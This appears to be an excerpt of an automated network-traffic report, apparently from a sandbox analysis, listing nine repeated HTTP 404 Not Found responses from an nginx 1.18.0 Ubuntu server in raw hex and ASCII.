Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:09:25 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:09:27 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:09:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:09:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:16 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:16 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:19 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:22 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:10:25 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
